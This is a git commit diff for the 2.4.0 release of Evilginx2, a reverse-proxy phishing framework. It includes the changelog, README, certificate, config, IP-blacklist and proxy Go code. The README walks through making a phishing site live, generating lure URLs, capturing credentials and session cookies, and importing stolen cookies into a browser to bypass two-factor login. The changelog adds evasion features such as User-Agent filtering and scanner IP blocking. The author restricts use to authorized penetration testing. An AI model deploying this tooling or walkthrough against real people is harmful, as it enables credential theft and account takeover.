2.4.0 "Gone Phishing" update

This commit is contained in:
Kuba Gretzky 2020-09-14 13:10:53 +02:00
parent cdb21aaac3
commit 6e66a19171
253 changed files with 25013 additions and 87049 deletions

11
.gitignore vendored
View File

@ -1,5 +1,6 @@
/bin/
/docs/
/img/
/release/
/build_run.bat
bin/
docs/
img/
release/
build/
phishlets/test-*

View File

@ -1,3 +1,19 @@
2.4.0
- Feature: Create and set up pre-phish HTML templates for your campaigns. Create your HTML file and place `{lure_url_html}` or `{lure_url_js}` in code to manage redirection to the phishing page with any form of user interaction. Command: `lures edit <id> template <template>`
- Feature: Create customized hostnames for every phishing lure. Command: `lures edit <id> hostname <hostname>`.
- Feature: Support for routing connection via SOCKS5 and HTTP(S) proxies. Command: `proxy`.
- Feature: IP blacklist with automated IP address blacklisting and blocking on all or unauthorized requests. Command: `blacklist`
- Feature: Custom parameters can now be embedded encrypted in the phishing url. Command: `lures get-url <id> param1=value1 param2="value2 with spaces"`.
- Feature: Requests to phishing urls can now be rejected if User-Agent of the visitor doesn't match the whitelist regular expression filter for given lure. Command: `lures edit <id> ua_filter <regexp>`
- List of custom parameters can now be imported directly from file (text, csv, json). Command: `lures get-url <id> import <params_file>`.
- Generated phishing urls can now be exported to file (text, csv, json). Command: `lures get-url <id> import <params_file> export <export_file> <text|csv|json>`.
- Fixed: Requesting LetsEncrypt certificates multiple times without restarting. Subsequent requests would result in "No embedded JWK in JWS header" error.
- Removed setting custom parameters in lures options. Parameters will now only be sent encoded with the phishing url.
- Added `with_params` option to `sub_filter` allowing to enable the sub_filter only when specific parameter was set with the phishing url.
- Made command help screen easier to read.
- Improved autofill for `lures edit` commands and switched positions of `<id>` and the variable name.
- Increased the duration of whitelisting authorized connections for whole IP address from 15 seconds to 10 minutes.
2.3.3
- Fixed: Multiple concurrent map writes when whitelisting IPs during heavy loads.

View File

@ -1,16 +1,8 @@
#### PLEASE READ THE POSTING GUIDELINES AND ANSWER THE QUESTION BEFORE POSTING, OTHERWISE ISSUE WILL BE CLOSED AND MARKED AS INVALID
#### DO NOT ASK FOR PHISHLETS.
#### DO NOT ASK FOR HELP CREATING PHISHLETS.
#### DO NOT ASK TO FIX PHISHLETS.
#### DO NOT ADVERTISE OR TRY TO SELL PHISHLETS.
* I hereby declare the following issue is a **[tool specific question/bug report]** and it is **NOT** a help request about creating a phishlet.
* I am fully aware that this is not a customer support portal, I can't demand answers and I'm aware I am using a free tool.
* I am not going to use Evilginx to hax my girlfriend's account or use it for any other illegal purpose.
* I am not trying to set up a domain on FreeNOM (also read the sentence above again).
* I am not a robot.
*(Sorry, if you are an adult and a professional and you had to read this.)*
Please type in "**I CONFIRM**" below if you confirm the sentences above or otherwise make some funny remark:
*<type_in_here>*
Thanks!
--
#### EXPECT A BAN OTHERWISE. THANK YOU!
#### REPORT ONLY BUGS OR FEATURE SUGGESTIONS.

View File

@ -13,5 +13,7 @@ clean:
install:
@mkdir -p /usr/share/evilginx/phishlets
@mkdir -p /usr/share/evilginx/templates
@cp ./phishlets/* /usr/share/evilginx/phishlets/
@cp ./templates/* /usr/share/evilginx/templates/
@cp ./bin/$(TARGET) /usr/local/bin

View File

@ -18,17 +18,22 @@ Present version is fully written in GO as a standalone application, which implem
I am very much aware that Evilginx can be used for nefarious purposes. This work is merely a demonstration of what adept attackers can do. It is the defender's responsibility to take such attacks into consideration and find ways to protect their users against this type of phishing attacks. Evilginx should be used only in legitimate penetration testing assignments with written permission from to-be-phished parties.
## Video
See **evilginx2** in action here:
[![Evilginx Demo](https://i.imgur.com/80jcbDl.png)](https://vimeo.com/281220095)
## Write-up
If you want to learn more about this phishing technique, I've published an extensive blog post about **evilginx2** here:
If you want to learn more about this phishing technique, I've published extensive blog posts about **evilginx2** here:
https://breakdev.org/evilginx-2-next-generation-of-phishing-2fa-tokens
[Evilginx 2.0 - Release](https://breakdev.org/evilginx-2-next-generation-of-phishing-2fa-tokens)
[Evilginx 2.1 - First Update](https://breakdev.org/evilginx-2-1-the-first-post-release-update/)
[Evilginx 2.2 - Jolly Winter Update](https://breakdev.org/evilginx-2-2-jolly-winter-update/)
[Evilginx 2.3 - Phisherman's Dream](https://breakdev.org/evilginx-2-3-phishermans-dream/)
[Evilginx 2.4 - Gone Phishing](breakdev.org/evilginx-2-4-gone-phishing/)
## Video guide
Take a look at the fantastic videos made by Luke Turvey ([@TurvSec](https://twitter.com/TurvSec)), which fully explain how to get started using **evilginx2**.
[![How to phish for passwords and bypass 2FA - Luke Turvey](https://img.youtube.com/vi/B3CycQgkVY0/0.jpg)](https://www.youtube.com/watch?v=B3CycQgkVY0)
[![Creating custom phishlets for evilginx2 (2FA Bypass) - Luke Turvey](https://img.youtube.com/vi/8mfsF5Qdqw0/0.jpg)](https://www.youtube.com/watch?v=8mfsF5Qdqw0)
## Phishlet Masters - Hall of Fame
@ -56,22 +61,14 @@ Evilginx runs very well on the most basic Debian 8 VPS.
#### Installing from source
In order to compile from source, make sure you have installed **GO** of version at least **1.14.0** (get it from [here](https://golang.org/doc/install)) and that `$GOPATH` environment variable is set up properly (def. `$HOME/go`).
In order to compile from source, make sure you have installed **GO** of version at least **1.14.0** (get it from [here](https://golang.org/doc/install)).
After installation, add this to your `~/.profile`, assuming that you installed **GO** in `/usr/local/go`:
When you have GO installed, type in the following:
```
export GOPATH=$HOME/go
export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin
```
Then load it with `source ~/.profiles`.
Now you should be ready to install **evilginx2**. Follow these instructions:
```
sudo apt-get install git make
go get -u github.com/kgretzky/evilginx2
cd $GOPATH/src/github.com/kgretzky/evilginx2
sudo apt-get -y install git make
git clone github.com/kgretzky/evilginx2
cd evilginx2
make
```
@ -105,8 +102,8 @@ Phishlets are loaded within the container at `/app/phishlets`, which can be moun
Grab the package you want from [here](https://github.com/kgretzky/evilginx2/releases) and drop it on your box. Then do:
```
unzip <package_name>.zip -d <package_name>
cd <package_name>
tar zxvf evilginx-linux-amd64.tar.gz
cd evilginx
```
If you want to do a system-wide install, use the install script with root privileges:
@ -127,14 +124,20 @@ sudo ./evilginx
By default, **evilginx2** will look for phishlets in `./phishlets/` directory and later in `/usr/share/evilginx/phishlets/`. If you want to specify a custom path to load phishlets from, use the `-p <phishlets_dir_path>` parameter when launching the tool.
By default, **evilginx2** will look for HTML temapltes in `./templates/` directory and later in `/usr/share/evilginx/templates/`. If you want to specify a custom path to load HTML templates from, use the `-t <templates_dir_path>` parameter when launching the tool.
```
Usage of ./evilginx:
-c string
Configuration directory path
-debug
Enable debug output
-developer
Enable developer mode (generates self-signed certificates for all hostnames)
-p string
Phishlets directory path
-t string
HTML templates directory path
```
You should see **evilginx2** logo with a prompt to enter commands. Type `help` or `help <command>` if you want to see available commands or more detailed information on them.
@ -168,11 +171,11 @@ phishlets enable linkedin
Your phishing site is now live. Think of the URL, you want the victim to be redirected to on successful login and get the phishing URL like this (victim will be redirected to `https://www.google.com`):
```
lures create linkedin
lures edit redirect_url 0 https://www.google.com
lures edit 0 redirect_url https://www.google.com
lures get-url 0
```
Running phishlets will only respond to tokenized links, so any scanners who scan your main domain will be redirected to URL specified as `redirect_url` under `config`. If you want to hide your phishlet and make it not respond even to valid tokenized phishing URLs, use `phishlet hide/unhide <phishlet>` command.
Running phishlets will only respond to phishing links generating for specific lures, so any scanners who scan your main domain will be redirected to URL specified as `redirect_url` under `config`. If you want to hide your phishlet and make it not respond even to valid lure phishing URLs, use `phishlet hide/unhide <phishlet>` command.
You can monitor captured credentials and session cookies with:
```
@ -186,15 +189,11 @@ sessions <id>
The captured session cookie can be copied and imported into Chrome browser, using [EditThisCookie](https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?hl=en) extension.
**Important!** If you want **evilginx2** to continue running after you log out from your server, you should run it inside a `screen` session.
**Important!** If you want **evilginx2** to continue running after you log out from your server, you should run it inside a `screen` or `tmux` session.
## Support
If you want to report issues with the tool, please do it by submitting a pull request. Thank you!
## Credits
Huge thanks to Simone Margaritelli ([@evilsocket](https://twitter.com/evilsocket)) for [bettercap](https://github.com/bettercap/bettercap) and inspiring me to learn GO and rewrite the tool in that language!
I DO NOT offer support for providing or creating phishlets. I will also NOT help you with creation of your own phishlets. There are many phishlets provided as examples, which you can use to create your own.
## License

View File

@ -8,7 +8,7 @@ import (
)
const (
VERSION = "2.3.3"
VERSION = "2.4.0"
)
func putAsciiArt(s string) {
@ -54,6 +54,12 @@ func printLogo(s string) {
color.Unset()
}
func printUpdateName() {
nameClr := color.New(color.FgHiRed)
txt := nameClr.Sprintf(" - -- Gone Phishing -- -")
fmt.Fprintf(color.Output, "%s", txt)
}
func printOneliner1() {
handleClr := color.New(color.FgHiBlue)
versionClr := color.New(color.FgGreen)
@ -95,9 +101,11 @@ func Banner() {
fmt.Println()
putAsciiArt(" @@@@@@@@@@@@@@@@@@@@@@@@@@@@@ \n")
putAsciiArt(" @@@@@WW@@@WW@@WWW@@WW@@@WW@@@@@ ")
printOneliner2()
printUpdateName()
fmt.Println()
putAsciiArt(" @@@@@@WW@@@WW@@WWW@@WW@@@WW@@@@@@ \n")
//printOneliner2()
//fmt.Println()
putAsciiArt("_ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ _")
printOneliner1()
fmt.Println()

120
core/blacklist.go Normal file
View File

@ -0,0 +1,120 @@
package core
import (
"bufio"
"fmt"
"net"
"os"
"strings"
"github.com/kgretzky/evilginx2/log"
)
const (
BLACKLIST_MODE_FULL = 0
BLACKLIST_MODE_UNAUTH = 1
BLACKLIST_MODE_OFF = 2
)
type BlockIP struct {
ipv4 net.IP
mask *net.IPNet
}
type Blacklist struct {
ips map[string]*BlockIP
masks []*BlockIP
configPath string
mode int
}
func NewBlacklist(path string) (*Blacklist, error) {
f, err := os.OpenFile(path, os.O_CREATE|os.O_RDONLY, 0644)
if err != nil {
return nil, err
}
defer f.Close()
bl := &Blacklist{
ips: make(map[string]*BlockIP),
configPath: path,
mode: BLACKLIST_MODE_OFF,
}
fs := bufio.NewScanner(f)
fs.Split(bufio.ScanLines)
for fs.Scan() {
l := fs.Text()
// remove comments
if n := strings.Index(l, ";"); n > -1 {
l = l[:n]
}
l = strings.Trim(l, " ")
if len(l) > 0 {
if strings.Contains(l, "/") {
ipv4, mask, err := net.ParseCIDR(l)
if err == nil {
bl.masks = append(bl.masks, &BlockIP{ipv4: ipv4, mask: mask})
} else {
log.Error("blacklist: invalid ip/mask address: %s", l)
}
} else {
ipv4 := net.ParseIP(l)
if ipv4 != nil {
bl.ips[ipv4.String()] = &BlockIP{ipv4: ipv4, mask: nil}
} else {
log.Error("blacklist: invalid ip address: %s", l)
}
}
}
}
log.Info("blacklist: loaded %d ip addresses or ip masks", len(bl.ips)+len(bl.masks))
return bl, nil
}
func (bl *Blacklist) AddIP(ip string) error {
if bl.IsBlacklisted(ip) {
return nil
}
ipv4 := net.ParseIP(ip)
if ipv4 != nil {
bl.ips[ipv4.String()] = &BlockIP{ipv4: ipv4, mask: nil}
} else {
return fmt.Errorf("blacklist: invalid ip address: %s", ip)
}
// write to file
f, err := os.OpenFile(bl.configPath, os.O_APPEND|os.O_WRONLY, 0644)
if err != nil {
return err
}
defer f.Close()
_, err = f.WriteString(ipv4.String() + "\n")
if err != nil {
return err
}
return nil
}
func (bl *Blacklist) IsBlacklisted(ip string) bool {
ipv4 := net.ParseIP(ip)
if ipv4 == nil {
return false
}
if _, ok := bl.ips[ip]; ok {
return true
}
for _, m := range bl.masks {
if m.mask != nil && m.mask.Contains(ipv4) {
return true
}
}
return false
}

View File

@ -25,6 +25,8 @@ import (
"github.com/go-acme/lego/v3/registration"
)
const HOSTS_DIR = "hosts"
type CertDb struct {
PrivateKey *rsa.PrivateKey
CACert tls.Certificate
@ -34,7 +36,8 @@ type CertDb struct {
ns *Nameserver
hs *HttpServer
cfg *Config
cache map[string]map[string]*tls.Certificate
hostCache map[string]*tls.Certificate
phishletCache map[string]map[string]*tls.Certificate
tls_cache map[string]*tls.Certificate
httpChallenge *HTTPChallenge
}
@ -84,7 +87,8 @@ func NewCertDb(data_dir string, cfg *Config, ns *Nameserver, hs *HttpServer) (*C
}
legolog.Logger = log.NullLogger()
d.cache = make(map[string]map[string]*tls.Certificate)
d.hostCache = make(map[string]*tls.Certificate)
d.phishletCache = make(map[string]map[string]*tls.Certificate)
d.tls_cache = make(map[string]*tls.Certificate)
pkey_pem, err := ioutil.ReadFile(filepath.Join(data_dir, "private.key"))
@ -163,6 +167,159 @@ func NewCertDb(data_dir string, cfg *Config, ns *Nameserver, hs *HttpServer) (*C
return nil, err
}
return d, nil
}
func (d *CertDb) Reset() {
d.certUser.Email = "" //hostmaster@" + d.cfg.GetBaseDomain()
}
func (d *CertDb) SetupHostnameCertificate(hostname string) error {
err := d.loadHostnameCertificate(hostname)
if err != nil {
log.Warning("failed to load certificate files for hostname '%s': %v", hostname, err)
log.Info("requesting SSL/TLS certificates from LetsEncrypt...")
err = d.obtainHostnameCertificate(hostname)
if err != nil {
return err
}
}
return nil
}
func (d *CertDb) GetHostnameCertificate(hostname string) (*tls.Certificate, error) {
cert, ok := d.hostCache[hostname]
if ok {
return cert, nil
}
return nil, fmt.Errorf("certificate for hostname '%s' not found", hostname)
}
func (d *CertDb) addHostnameCertificate(hostname string, cert *tls.Certificate) {
d.hostCache[hostname] = cert
}
func (d *CertDb) loadHostnameCertificate(hostname string) error {
crt_dir := filepath.Join(d.dataDir, HOSTS_DIR)
cert, err := tls.LoadX509KeyPair(filepath.Join(crt_dir, hostname+".crt"), filepath.Join(crt_dir, hostname+".key"))
if err != nil {
return err
}
d.addHostnameCertificate(hostname, &cert)
return nil
}
func (d *CertDb) obtainHostnameCertificate(hostname string) error {
if err := CreateDir(filepath.Join(d.dataDir, HOSTS_DIR), 0700); err != nil {
return err
}
crt_dir := filepath.Join(d.dataDir, HOSTS_DIR)
domains := []string{hostname}
cert_res, err := d.registerCertificate(domains)
if err != nil {
return err
}
cert, err := tls.X509KeyPair(cert_res.Certificate, cert_res.PrivateKey)
if err != nil {
return err
}
d.addHostnameCertificate(hostname, &cert)
err = ioutil.WriteFile(filepath.Join(crt_dir, hostname+".crt"), cert_res.Certificate, 0600)
if err != nil {
return err
}
err = ioutil.WriteFile(filepath.Join(crt_dir, hostname+".key"), cert_res.PrivateKey, 0600)
if err != nil {
return err
}
return nil
}
func (d *CertDb) SetupPhishletCertificate(site_name string, domains []string) error {
base_domain, ok := d.cfg.GetSiteDomain(site_name)
if !ok {
return fmt.Errorf("phishlet '%s' not found", site_name)
}
err := d.loadPhishletCertificate(site_name, base_domain)
if err != nil {
log.Warning("failed to load certificate files for phishlet '%s', domain '%s': %v", site_name, base_domain, err)
log.Info("requesting SSL/TLS certificates from LetsEncrypt...")
err = d.obtainPhishletCertificate(site_name, base_domain, domains)
if err != nil {
return err
}
}
return nil
}
func (d *CertDb) GetPhishletCertificate(site_name string, base_domain string) (*tls.Certificate, error) {
m, ok := d.phishletCache[base_domain]
if ok {
cert, ok := m[site_name]
if ok {
return cert, nil
}
}
return nil, fmt.Errorf("certificate for phishlet '%s' and domain '%s' not found", site_name, base_domain)
}
func (d *CertDb) addPhishletCertificate(site_name string, base_domain string, cert *tls.Certificate) {
_, ok := d.phishletCache[base_domain]
if !ok {
d.phishletCache[base_domain] = make(map[string]*tls.Certificate)
}
d.phishletCache[base_domain][site_name] = cert
}
func (d *CertDb) loadPhishletCertificate(site_name string, base_domain string) error {
crt_dir := filepath.Join(d.dataDir, base_domain)
cert, err := tls.LoadX509KeyPair(filepath.Join(crt_dir, site_name+".crt"), filepath.Join(crt_dir, site_name+".key"))
if err != nil {
return err
}
d.addPhishletCertificate(site_name, base_domain, &cert)
return nil
}
func (d *CertDb) obtainPhishletCertificate(site_name string, base_domain string, domains []string) error {
if err := CreateDir(filepath.Join(d.dataDir, base_domain), 0700); err != nil {
return err
}
crt_dir := filepath.Join(d.dataDir, base_domain)
cert_res, err := d.registerCertificate(domains)
if err != nil {
return err
}
cert, err := tls.X509KeyPair(cert_res.Certificate, cert_res.PrivateKey)
if err != nil {
return err
}
d.addPhishletCertificate(site_name, base_domain, &cert)
err = ioutil.WriteFile(filepath.Join(crt_dir, site_name+".crt"), cert_res.Certificate, 0600)
if err != nil {
return err
}
err = ioutil.WriteFile(filepath.Join(crt_dir, site_name+".key"), cert_res.PrivateKey, 0600)
if err != nil {
return err
}
return nil
}
func (d *CertDb) registerCertificate(domains []string) (*certificate.Resource, error) {
var err error
d.certUser = CertUser{
Email: "", //hostmaster@" + d.cfg.GetBaseDomain(),
key: d.PrivateKey,
@ -182,70 +339,9 @@ func NewCertDb(data_dir string, cfg *Config, ns *Nameserver, hs *HttpServer) (*C
d.client.Challenge.SetHTTP01Provider(d.httpChallenge)
d.client.Challenge.Remove(challenge.TLSALPN01)
return d, nil
}
func (d *CertDb) Reset() {
d.certUser.Email = "" //hostmaster@" + d.cfg.GetBaseDomain()
}
func (d *CertDb) SetupCertificate(site_name string, domains []string) error {
base_domain, ok := d.cfg.GetSiteDomain(site_name)
if !ok {
return fmt.Errorf("phishlet '%s' not found", site_name)
}
err := d.loadCertificate(site_name, base_domain)
if err != nil {
log.Warning("failed to load certificate files for phishlet '%s', domain '%s': %v", site_name, base_domain, err)
log.Info("requesting SSL/TLS certificates from LetsEncrypt...")
err = d.obtainCertificate(site_name, base_domain, domains)
if err != nil {
return err
}
}
return nil
}
func (d *CertDb) GetCertificate(site_name string, base_domain string) (*tls.Certificate, error) {
m, ok := d.cache[base_domain]
if ok {
cert, ok := m[site_name]
if ok {
return cert, nil
}
}
return nil, fmt.Errorf("certificate for phishlet '%s' and domain '%s' not found", site_name, base_domain)
}
func (d *CertDb) addCertificate(site_name string, base_domain string, cert *tls.Certificate) {
_, ok := d.cache[base_domain]
if !ok {
d.cache[base_domain] = make(map[string]*tls.Certificate)
}
d.cache[base_domain][site_name] = cert
}
func (d *CertDb) loadCertificate(site_name string, base_domain string) error {
crt_dir := filepath.Join(d.dataDir, base_domain)
cert, err := tls.LoadX509KeyPair(filepath.Join(crt_dir, site_name+".crt"), filepath.Join(crt_dir, site_name+".key"))
if err != nil {
return err
}
d.addCertificate(site_name, base_domain, &cert)
return nil
}
func (d *CertDb) obtainCertificate(site_name string, base_domain string, domains []string) error {
if err := CreateDir(filepath.Join(d.dataDir, base_domain), 0700); err != nil {
return err
}
crt_dir := filepath.Join(d.dataDir, base_domain)
reg, err := d.client.Registration.Register(registration.RegisterOptions{TermsOfServiceAgreed: true})
if err != nil {
return err
return nil, err
}
d.certUser.Registration = reg
@ -256,25 +352,10 @@ func (d *CertDb) obtainCertificate(site_name string, base_domain string, domains
cert_res, err := d.client.Certificate.Obtain(req)
if err != nil {
return err
return nil, err
}
cert, err := tls.X509KeyPair(cert_res.Certificate, cert_res.PrivateKey)
if err != nil {
return err
}
d.addCertificate(site_name, base_domain, &cert)
err = ioutil.WriteFile(filepath.Join(crt_dir, site_name+".crt"), cert_res.Certificate, 0600)
if err != nil {
return err
}
err = ioutil.WriteFile(filepath.Join(crt_dir, site_name+".key"), cert_res.PrivateKey, 0600)
if err != nil {
return err
}
return nil
return cert_res, nil
}
func (d *CertDb) getServerCertificate(host string, port int) *x509.Certificate {
@ -306,6 +387,26 @@ func (d *CertDb) SignCertificateForHost(host string, phish_host string, port int
return
}
if phish_host == "" {
serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), 128)
serialNumber, err := rand.Int(rand.Reader, serialNumberLimit)
if err != nil {
return nil, err
}
template = x509.Certificate{
SerialNumber: serialNumber,
Issuer: x509ca.Subject,
Subject: pkix.Name{Organization: []string{"Evilginx Signature Trust Co."}},
NotBefore: time.Now(),
NotAfter: time.Now().Add(time.Hour * 24 * 180),
KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
DNSNames: []string{host},
BasicConstraintsValid: true,
}
template.Subject.CommonName = host
} else {
srvCert := d.getServerCertificate(host, port)
if srvCert == nil {
return nil, fmt.Errorf("failed to get TLS certificate for: %s", host)
@ -330,6 +431,7 @@ func (d *CertDb) SignCertificateForHost(host string, phish_host string, port int
}
template.Subject.CommonName = phish_host
}
}
var pkey *rsa.PrivateKey
if pkey, err = rsa.GenerateKey(rand.Reader, 1024); err != nil {

View File

@ -12,21 +12,30 @@ import (
)
type Lure struct {
Hostname string `mapstructure:"hostname" yaml:"hostname"`
Path string `mapstructure:"path" yaml:"path"`
RedirectUrl string `mapstructure:"redirect_url" yaml:"redirect_url"`
Phishlet string `mapstructure:"phishlet" yaml:"phishlet"`
Template string `mapstructure:"template" yaml:"template"`
UserAgentFilter string `mapstructure:"ua_filter" yaml:"ua_filter"`
Info string `mapstructure:"info" yaml:"info"`
OgTitle string `mapstructure:"og_title" yaml:"og_title"`
OgDescription string `mapstructure:"og_desc" yaml:"og_desc"`
OgImageUrl string `mapstructure:"og_image" yaml:"og_image"`
OgUrl string `mapstructure:"og_url" yaml:"og_url"`
Params map[string]string `mapstructure:"params" yaml:"params"`
}
type Config struct {
siteDomains map[string]string
baseDomain string
serverIP string
proxyType string
proxyAddress string
proxyPort int
proxyUsername string
proxyPassword string
blackListMode string
proxyEnabled bool
sitesEnabled map[string]bool
sitesHidden map[string]bool
phishlets map[string]*Phishlet
@ -36,6 +45,7 @@ type Config struct {
verificationParam string
verificationToken string
redirectUrl string
templatesDir string
lures []*Lure
cfg *viper.Viper
}
@ -51,6 +61,13 @@ const (
CFG_VERIFICATION_TOKEN = "verification_token"
CFG_REDIRECT_URL = "redirect_url"
CFG_LURES = "lures"
CFG_PROXY_TYPE = "proxy_type"
CFG_PROXY_ADDRESS = "proxy_address"
CFG_PROXY_PORT = "proxy_port"
CFG_PROXY_USERNAME = "proxy_username"
CFG_PROXY_PASSWORD = "proxy_password"
CFG_PROXY_ENABLED = "proxy_enabled"
CFG_BLACKLIST_MODE = "blacklist_mode"
)
const DEFAULT_REDIRECT_URL = "https://www.youtube.com/watch?v=dQw4w9WgXcQ" // Rick'roll
@ -75,8 +92,10 @@ func NewConfig(cfg_dir string, path string) (*Config, error) {
if err != nil {
return nil, err
}
var created_cfg bool = false
c.cfg.SetConfigFile(path)
if _, err := os.Stat(path); os.IsNotExist(err) {
created_cfg = true
err = c.cfg.WriteConfigAs(path)
if err != nil {
return nil, err
@ -95,6 +114,13 @@ func NewConfig(cfg_dir string, path string) (*Config, error) {
c.verificationParam = c.cfg.GetString(CFG_VERIFICATION_PARAM)
c.verificationToken = c.cfg.GetString(CFG_VERIFICATION_TOKEN)
c.redirectUrl = c.cfg.GetString(CFG_REDIRECT_URL)
c.proxyType = c.cfg.GetString(CFG_PROXY_TYPE)
c.proxyAddress = c.cfg.GetString(CFG_PROXY_ADDRESS)
c.proxyPort = c.cfg.GetInt(CFG_PROXY_PORT)
c.proxyUsername = c.cfg.GetString(CFG_PROXY_USERNAME)
c.proxyPassword = c.cfg.GetString(CFG_PROXY_PASSWORD)
c.proxyEnabled = c.cfg.GetBool(CFG_PROXY_ENABLED)
c.blackListMode = c.cfg.GetString(CFG_BLACKLIST_MODE)
s_enabled := c.cfg.GetStringSlice(CFG_SITES_ENABLED)
for _, site := range s_enabled {
c.sitesEnabled[site] = true
@ -104,6 +130,10 @@ func NewConfig(cfg_dir string, path string) (*Config, error) {
c.sitesHidden[site] = true
}
if !stringExists(c.blackListMode, []string{"all", "unauth", "off"}) {
c.SetBlacklistMode("off")
}
var param string
if c.redirectParam == "" {
param = strings.ToLower(GenRandomString(2))
@ -121,7 +151,7 @@ func NewConfig(cfg_dir string, path string) (*Config, error) {
if c.verificationToken == "" {
c.SetVerificationToken(GenRandomToken()[:4])
}
if c.redirectUrl == "" {
if c.redirectUrl == "" && created_cfg {
c.SetRedirectUrl(DEFAULT_REDIRECT_URL)
}
c.lures = []*Lure{}
@ -164,6 +194,68 @@ func (c *Config) SetServerIP(ip_addr string) {
c.cfg.WriteConfig()
}
func (c *Config) EnableProxy(enabled bool) {
c.proxyEnabled = enabled
c.cfg.Set(CFG_PROXY_ENABLED, c.proxyEnabled)
if enabled {
log.Info("enabled proxy")
} else {
log.Info("disabled proxy")
}
c.cfg.WriteConfig()
}
func (c *Config) SetProxyType(ptype string) {
ptypes := []string{"http", "https", "socks5", "socks5h"}
if !stringExists(ptype, ptypes) {
log.Error("invalid proxy type selected")
return
}
c.proxyType = ptype
c.cfg.Set(CFG_PROXY_TYPE, c.proxyType)
log.Info("proxy type set to: %s", c.proxyType)
c.cfg.WriteConfig()
}
func (c *Config) SetProxyAddress(address string) {
c.proxyAddress = address
c.cfg.Set(CFG_PROXY_ADDRESS, c.proxyAddress)
log.Info("proxy address set to: %s", c.proxyAddress)
c.cfg.WriteConfig()
}
func (c *Config) SetProxyPort(port int) {
c.proxyPort = port
c.cfg.Set(CFG_PROXY_PORT, c.proxyPort)
log.Info("proxy port set to: %d", c.proxyPort)
c.cfg.WriteConfig()
}
func (c *Config) SetProxyUsername(username string) {
c.proxyUsername = username
c.cfg.Set(CFG_PROXY_USERNAME, c.proxyUsername)
log.Info("proxy username set to: %s", c.proxyUsername)
c.cfg.WriteConfig()
}
func (c *Config) SetProxyPassword(password string) {
c.proxyPassword = password
c.cfg.Set(CFG_PROXY_PASSWORD, c.proxyPassword)
log.Info("proxy password set to: %s", c.proxyPassword)
c.cfg.WriteConfig()
}
func (c *Config) IsLureHostnameValid(hostname string) bool {
for _, l := range c.lures {
if l.Hostname == hostname {
if c.sitesEnabled[l.Phishlet] {
return true
}
}
}
return false
}
func (c *Config) SetSiteEnabled(site string) error {
if _, err := c.GetPhishlet(site); err != nil {
log.Error("%v", err)
@ -231,6 +323,10 @@ func (c *Config) SetSiteHidden(site string, hide bool) error {
return nil
}
func (c *Config) SetTemplatesDir(path string) {
c.templatesDir = path
}
func (c *Config) ResetAllSites() {
for s, _ := range c.sitesEnabled {
c.SetSiteDisabled(s)
@ -273,6 +369,15 @@ func (c *Config) SetRedirectParam(param string) {
c.cfg.WriteConfig()
}
func (c *Config) SetBlacklistMode(mode string) {
if stringExists(mode, []string{"all", "unauth", "off"}) {
c.blackListMode = mode
c.cfg.Set(CFG_BLACKLIST_MODE, mode)
c.cfg.WriteConfig()
}
log.Info("blacklist mode set to: %s", mode)
}
func (c *Config) SetVerificationParam(param string) {
c.verificationParam = param
c.cfg.Set(CFG_VERIFICATION_PARAM, param)
@ -306,6 +411,13 @@ func (c *Config) refreshActiveHostnames() {
c.activeHostnames = append(c.activeHostnames, host)
}
}
for _, l := range c.lures {
if stringExists(l.Phishlet, sites) {
if l.Hostname != "" {
c.activeHostnames = append(c.activeHostnames, l.Hostname)
}
}
}
}
func (c *Config) IsActiveHostname(host string) bool {
@ -422,3 +534,11 @@ func (c *Config) GetBaseDomain() string {
func (c *Config) GetServerIP() string {
return c.serverIP
}
func (c *Config) GetTemplatesDir() string {
return c.templatesDir
}
func (c *Config) GetBlacklistMode() string {
return c.blackListMode
}

View File

@ -163,7 +163,7 @@ func (h *Help) PrintBrief(cmd string) error {
rows = append(rows, cmd+kk)
vals = append(vals, subm[k])
}
out += AsRows(rows, vals)
out += AsDescription(rows, vals)
}
}
log.Printf("\n%s\n", out)

View File

@ -10,13 +10,18 @@ package core
import (
"bufio"
"bytes"
"crypto/rand"
"crypto/rc4"
"crypto/tls"
"encoding/base64"
"fmt"
"html"
"io/ioutil"
"net"
"net/http"
"net/url"
"os"
"path/filepath"
"regexp"
"sort"
"strconv"
@ -24,9 +29,12 @@ import (
"sync"
"time"
"golang.org/x/net/proxy"
"github.com/elazarl/goproxy"
"github.com/fatih/color"
"github.com/inconshreveable/go-vhost"
"github.com/mwitkow/go-http-dialer"
"github.com/kgretzky/evilginx2/database"
"github.com/kgretzky/evilginx2/log"
@ -52,6 +60,7 @@ type HttpProxy struct {
crt_db *CertDb
cfg *Config
db *database.Database
bl *Blacklist
sniListener net.Listener
isRunning bool
sessions map[string]*Session
@ -72,13 +81,14 @@ type ProxySession struct {
Index int
}
func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *database.Database, developer bool) (*HttpProxy, error) {
func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *database.Database, bl *Blacklist, developer bool) (*HttpProxy, error) {
p := &HttpProxy{
Proxy: goproxy.NewProxyHttpServer(),
Server: nil,
crt_db: crt_db,
cfg: cfg,
db: db,
bl: bl,
isRunning: false,
last_sid: 0,
developer: developer,
@ -94,6 +104,16 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
WriteTimeout: httpWriteTimeout,
}
if cfg.proxyEnabled {
err := p.setProxy(cfg.proxyEnabled, cfg.proxyType, cfg.proxyAddress, cfg.proxyPort, cfg.proxyUsername, cfg.proxyPassword)
if err != nil {
log.Error("proxy: %v", err)
cfg.EnableProxy(false)
} else {
log.Info("enabled proxy: " + cfg.proxyAddress + ":" + strconv.Itoa(cfg.proxyPort))
}
}
p.cookieName = GenRandomString(4)
p.sessions = make(map[string]*Session)
p.sids = make(map[string]int)
@ -119,11 +139,32 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
ctx.UserData = ps
hiblue := color.New(color.FgHiBlue)
// handle ip blacklist
from_ip := req.RemoteAddr
if strings.Contains(from_ip, ":") {
from_ip = strings.Split(from_ip, ":")[0]
}
if p.bl.IsBlacklisted(from_ip) {
log.Warning("blacklist: request from ip address '%s' was blocked", from_ip)
return p.blockRequest(req)
}
if p.cfg.GetBlacklistMode() == "all" {
err := p.bl.AddIP(from_ip)
if err != nil {
